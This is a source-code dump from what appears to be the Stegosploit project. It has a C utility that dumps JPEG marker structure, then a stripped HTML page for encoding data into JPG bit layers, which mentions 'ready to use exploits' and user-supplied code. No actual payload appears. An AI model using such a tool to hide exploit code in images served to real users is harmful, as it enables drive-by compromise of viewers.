marker[0xf0] = init_marker( "JPG0", "extension data 00", "JPEG 1997" ); 244 | marker[0xf1] = init_marker( "JPG1", "extension data 01", "JPEG 1997" ); 245 | marker[0xf2] = init_marker( "JPG2", "extension data 02", "JPEG 1997" ); 246 | marker[0xf3] = init_marker( "JPG3", "extension data 03", "JPEG 1997" ); 247 | marker[0xf4] = init_marker( "JPG4", "extension data 04", "JPEG 1997" ); 248 | marker[0xf5] = init_marker( "JPG5", "extension data 05", "JPEG 1997" ); 249 | marker[0xf6] = init_marker( "JPG6", "extension data 06", "JPEG 1997" ); 250 | marker[0xf7] = init_marker( "SOF48", "start of frame (JPEG-LS)", "JPEG-LS" ); 251 | marker[0xf8] = init_marker( "LSE", "extension parameters (JPEG-LS)", "JPEG-LS" ); 252 | marker[0xf9] = init_marker( "JPG9", "extension data 09", "JPEG 1997" ); 253 | marker[0xfa] = init_marker( "JPG10", "extension data 10", "JPEG 1997" ); 254 | marker[0xfb] = init_marker( "JPG11", "extension data 11", "JPEG 1997" ); 255 | marker[0xfc] = init_marker( "JPG12", "extension data 12", "JPEG 1997" ); 256 | marker[0xfd] = init_marker( "JPG13", "extension data 13", "JPEG 1997" ); 257 | marker[0xfe] = init_marker( "JCOM", "extension data (comment)", "JPEG 1997" ); 258 | 259 | /* JPEG 2000 - defined in IEC 15444-1 "JPEG 2000 Core (part 1)" */ 260 | /* delimiters */ 261 | marker[0x4f] = init_marker( "SOC", "start of codestream", "JPEG 2000" ); 262 | marker[0x90] = init_marker( "SOT", "start of tile", "JPEG 2000" ); 263 | marker[0xd9] = init_marker( "EOC", "end of codestream", "JPEG 2000" ); 264 | /* fixed information segment */ 265 | marker[0x51] = init_marker( "SIZ", "image and tile size", "JPEG 2000" ); 266 | /* functional segments */ 267 | marker[0x52] = init_marker( "COD", "coding style default", "JPEG 2000" ); 268 | marker[0x53] = init_marker( "COC", "coding style component", "JPEG 2000" ); 269 | marker[0x5e] = init_marker( "RGN", "region of interest", "JPEG 2000" ); 270 | marker[0x5c] = init_marker( "QCD", "quantization default", "JPEG 2000" ); 271 | marker[0x5d] = init_marker( "QCC", "quantization component", "JPEG 2000" ); 272 | marker[0x5f] = init_marker( "POC", "progression order change", "JPEG 2000" ); 273 | /* pointer segments */ 274 | marker[0x55] = init_marker( "TLM", "tile-part lengths", "JPEG 2000" ); 275 | marker[0x57] = init_marker( "PLM", "packet length (main header)", "JPEG 2000" ); 276 | marker[0x58] = init_marker( "PLT", "packet length (tile-part header)", "JPEG 2000" ); 277 | marker[0x60] = init_marker( "PPM", "packed packet headers (main header)", "JPEG 2000" ); 278 | marker[0x61] = init_marker( "PPT", "packed packet headers (tile-part header)", "JPEG 2000" ); 279 | /* bitstream internal markers and segments */ 280 | marker[0x91] = init_marker( "SOP", "start of packet", "JPEG 2000" ); 281 | marker[0x92] = init_marker( "EPH", "end of packet header", "JPEG 2000" ); 282 | /* informational segments */ 283 | marker[0x63] = init_marker( "CRG", "component registration", "JPEG 2000" ); 284 | marker[0x64] = init_marker( "COM", "comment", "JPEG 2000" ); 285 | 286 | return marker; 287 | } 288 | 289 | /* read a 16 bit little-endian integer */ 290 | void read16(FILE *in, uint16_t *p) 291 | { 292 | unsigned char q[2]; 293 | fread(q, 1, 2, in); 294 | *p = q[0] | q[1] << 8; 295 | return; 296 | } 297 | 298 | /* read a 32 bit little-endian integer */ 299 | void read32(FILE *in, uint32_t *p) 300 | { 301 | unsigned char q[4]; 302 | fread(q, 1, 4, in); 303 | *p = q[0] | q[1] << 8 | q[2] << 16 | q[3] << 24; 304 | return; 305 | } 306 | 307 | /* write a 16 bit little-endian integer */ 308 | void write16(FILE *out, uint16_t p) 309 | { 310 | unsigned char q[2]; 311 | q[0] = p & 0xFF; 312 | q[1] = (p >> 8) & 0xFF; 313 | fwrite(q, 1, 2, out); 314 | return; 315 | } 316 | 317 | /* write an 8 bit integer */ 318 | void write8(FILE *out, unsigned char p) 319 | { 320 | fwrite(&p, 1, 1, out); 321 | return; 322 | } 323 | 324 | /* write a 32 bit little-endian integer */ 325 | void write32(FILE *out, uint32_t p) 326 | { 327 | unsigned char q[4]; 328 | q[0] = p & 0xFF; 329 | q[1] = (p >> 8) & 0xFF; 330 | q[2] = (p >> 16) & 0xFF; 331 | q[3] = (p >> 24) & 0xFF; 332 | fwrite(q, 1, 4, out); 333 | return; 334 | } 335 | 336 | /* write a 32 bit big-endian integer */ 337 | void write_be32(FILE *out, uint32_t p) 338 | { 339 | unsigned char q[4]; 340 | q[0] = (p >> 24) & 0xFF; 341 | q[1] = (p >> 16) & 0xFF; 342 | q[2] = (p >> 8) & 0xFF; 343 | q[3] = p & 0xFF; 344 | fwrite(q, 1, 4, out); 345 | return; 346 | } 347 | 348 | /* insert a 32 bit big-endian integer into a buffer */ 349 | void put_be32(unsigned char *p, uint32_t q) 350 | { 351 | p[0] = (q >> 24) & 0xFF; 352 | p[1] = (q >> 16) & 0xFF; 353 | p[2] = (q >> 8) & 0xFF; 354 | p[3] = q & 0xFF; 355 | return; 356 | } 357 | 358 | /* dump an abstract of a jpeg stream */ 359 | int dump_stream(FILE *out, FILE *in) 360 | { 361 | int c; 362 | long offset = 0; 363 | while (!feof(in)) { 364 | c = fgetc(in); 365 | if (c == 0xFF) { 366 | int code = fgetc(in); 367 | if (code > 0) { 368 | fprintf(out, "marker 0xff%02x %s at offset %ld", code, markers[code].mark, offset); 369 | fprintf(out, "\t(%s)\n", markers[code].name); 370 | } 371 | offset++; 372 | } 373 | offset++; 374 | } 375 | 376 | return 0; 377 | } 378 | 379 | void usage(const char *name, FILE *out) 380 | { 381 | fprintf(out, "usage: %s [ ...]\n", name); 382 | fprintf(out, " dumps the structure of a JPEG codestream for inspection.\n"); 383 | return; 384 | } 385 | 386 | int main(int argc, char *argv[]) 387 | { 388 | int i; 389 | FILE *in; 390 | 391 | if (argc < 2) usage(argv[0], stderr); 392 | 393 | markers = init_markers(); 394 | 395 | /* treat the filename "-" as stdin */ 396 | if (argv[1][0] == '-' && argv[1][1] == 0) 397 | in = stdin; 398 | 399 | for (i = 1; i < argc; i++) { 400 | const char *fn = argv[i]; 401 | if (fn[0] == '-' && fn[1] == 0) 402 | in = stdin; 403 | else 404 | in = fopen(fn, "rb"); 405 | if (in != NULL) { 406 | /* do something */ 407 | dump_stream(stdout, in); 408 | if (in != stdin) 409 | fclose(in); 410 | } else { 411 | fprintf(stderr, "could not open '%s'\n", argv[i]); 412 | return 1; 413 | } 414 | } 415 | 416 | return 0; 417 | } 418 | -------------------------------------------------------------------------------- /project-stegosploit/encoding/iterative_encoding.html: -------------------------------------------------------------------------------- 1 | 2 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 511 | 512 | 513 | 514 |

Encode Image Data on JPG

515 |
516 |
517 |
518 | Input file: 519 | 520 |
521 |
522 |
523 | 524 |
525 | Resolution: 526 | Bit Layer (0-7): 527 | JPG Quality (0-1): 528 | Grid: 529 | R 530 | G 531 | B 532 | All 533 |
534 |
535 | Ready to use exploits:
536 | Or supply your own code:
537 | 538 |
539 | MD5: 540 |
541 | 542 |
543 |
544 | 545 | 546 | 547 | 548 | 549 |
550 |
551 | 552 | Pass: 553 | Delta: 554 | 555 | Slow Motion: 556 |
557 |
558 | 559 | 560 | 561 | 562 | 563 | 564 | 569 | 570 | 571 | 572 | 573 | 574 | 575 |
565 | Decoded Text
566 |
567 | MD5: 568 |
Raw BASE64
LOG
576 |
577 |
578 | 579 | 580 | --------------------------------------------------------------------------------